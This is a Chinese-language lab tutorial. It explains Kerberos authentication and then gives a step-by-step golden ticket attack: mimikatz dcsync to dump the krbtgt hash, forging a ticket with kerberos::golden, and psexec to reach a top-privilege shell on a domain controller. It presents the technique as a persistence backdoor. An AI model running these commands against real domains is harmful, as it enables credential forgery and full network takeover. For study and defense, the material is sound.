前言:
這裏先介紹下Kerberos
協議:
Kerberos
是一種由MIT(麻省理工大學)提出的一種網絡身份驗證協議。它旨在通過使用密鑰加密技術爲客戶端/服務器應用程序提供強身份驗證。
在Kerberos
協議中主要是有三個角色的存在:
1:訪問服務的Client(用戶的機器客戶端)
2:提供服務的Server(服務端)
3:KDC
(Key Distribution Center)密鑰分發中心其中KDC服務默認會安裝在一個域的域控中,而Client和Server爲域內的用戶或者是服務,如HTTP服務,SQL服務,遠程桌面服務。在Kerberos
中Client
是否有權限訪問Server
端的服務由KDC
發放的票據來決定。
Kerboeros工作原理
如下圖所示:
1:Client
向KDC
發起AS_REQ
請求內容爲通過Client
密碼Hash
加密的時間戳、ClientID、網絡地址、加密類型等內容。
2:KDC
使用Client hash
進行解密,並在ntds.dit
(只有域控中才有的數據庫)中查找該賬戶,如果結果正確就返回用krbtgt NTLM-hash
加密的TGT
票據,TGT
裏面包含PAC
,PAC
包含Client
的sid
,Client
所在的組。
註釋:PAC的全稱是Privilege Attribute Certificate(特權屬性證書)
。不同的賬號有不同的權限,PAC就是爲了區別不同權限的一種方式。
3:Client
(客戶端)憑藉TGT
票據向KDC
發起針對特定服務的TGS_REQ
請求。
4:KDC
使用krbtgt NTLM-hash
進行解密,如果結果正確,就返回用服務NTLM-hash
加密的TGS
票據,並帶上PAC
返回給Client(客戶端)(這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就返回TGS票據
)。
TGT:認證票據
TGS:票據發放服務
5:此時client
拿着KDC
給的TGS
票據去請求服務。
6:服務端使用自己的NTLM-hash
解密TGS
票據。如果解密正確,就拿着PAC
去KDC
那邊問Client
有沒有訪問權限,域控解密PAC
。獲取Client
的sid
,以及所在的組,再根據該服務的ACL,判斷Client是否有訪問服務的權限。
至此,就是登錄域控中Kerberos協議的工作流程,看起來可能點繞,根據我上面的貼圖,一步步的看還是比較好理解的。
實驗步驟
主域控:windows server 2008 IP地址:192.168.107.146
域內機器(Client):windows server 2008 IP地址:192.168.107.164
通過上面工作原理得知,我們這裏只要僞造第三步,也就是TGT票據即可。
首先我們 需要先從域控中,或者是域內其他Client中導出krbtgt
用戶的hash
,這裏需要注意的是,krbtgt
用戶只有在域控中才會存在。
當然瞭如果你有域控管理員的其他賬號
,也是可以登錄其他域其他機器來使用mimikatz.exe導出hash
的。
第一步::在域控內
導出krbtgt用戶的hash
和sid
(使用mimikatz.exe工具):
lsadump::dcsync /domain:hydra.com /user:krbtgt domian:後面是域控名 user後面是krbtgt用戶
2:在域內其他Client(用戶機器)上使用其他域管理員
來抓取krbtgt用戶的hash
和sid
(使用mimikatz.exe工具),這裏命令和上面的命令是一樣的,最後抓取的hash也是和上面一樣的,這裏我就不貼圖了。
第二步:.清除自己Client端(域內其他機器)的票據。
我們在域控上面成功抓取了hash和sid,將hash和sid複製到其他域內機器中,也就是Client端,然後在mimikatz.exe執行kerberos::list
查看我們當前的票據。
然後在mimikatz.exe執行:kerberos::purge
意思就是清空當前用戶登錄的票據,通過下面的圖片看到清空了以後,在執行list的時候,就沒有任何的票據了。
第三步:僞造TGT票據(黃金票據)
kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt
kerberos::golden的意思是使用票據功能,/admin 後面的用戶是我們可以僞造的任意用戶,我這裏用ceshi,/sid後面輸入的就是我們之前抓到的sid,/krbtgt後面是之前抓到的hash, /ptt是立即執行到內存的意思。ps:一共有5個空格,這裏需要注意下。
構造好了語句後,在Client端上執行,提示Successfully表示已經成功了。
第四步:通過kerberos::list
查看當前票據,僞造成功(也可以通過cmd中klist
查看,這裏需要注意的是cmd需要用管理員的方式運行)
到了這一步以後,說明我們已經成功在Client端僞造了黃金票據(在僞造的時候可以是任意用戶名,我這裏是ceshi)。
第五步:在Client端通過Psexec.exe工具來與主域控進行連接
(對於psexec.exe工具的使用這裏不多做介紹)
連接成功了以後,是直接返回一個cmd的交互式界面,並且是最高權限。
此時,我們就可以在當前Client端(域內機器中)來執行主域控下cmd操作,並且權限是最高的。
總結
第一步:在域控中,或者是域內機器中(域管理員用戶權限登錄),因爲是需要抓取hash和sid的,所以必須要是管理員權限,命令如下:
lsadump::dcsync /domain:hydra.com /user:krbtgt
第二步:清除自己client端(域內其他機器)的票據:
kerberos::purge
第三步:查看票據(client端):(此時票據信息肯定是空的)
kerberos::list
第四步:僞造黃金票據(client端),這裏的參數文章上面都介紹過了,這裏不多介紹。
kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt
第五步:嘗試使用psexec登錄域控的cmd控制檯(client端):
psexec.exe \\dc.hydra.com cmd.exe
與其說是一種攻擊方式,不如說是一種後門,當域控權限掉後,在通過域內其他任意機器僞造票據重新獲取最高權限。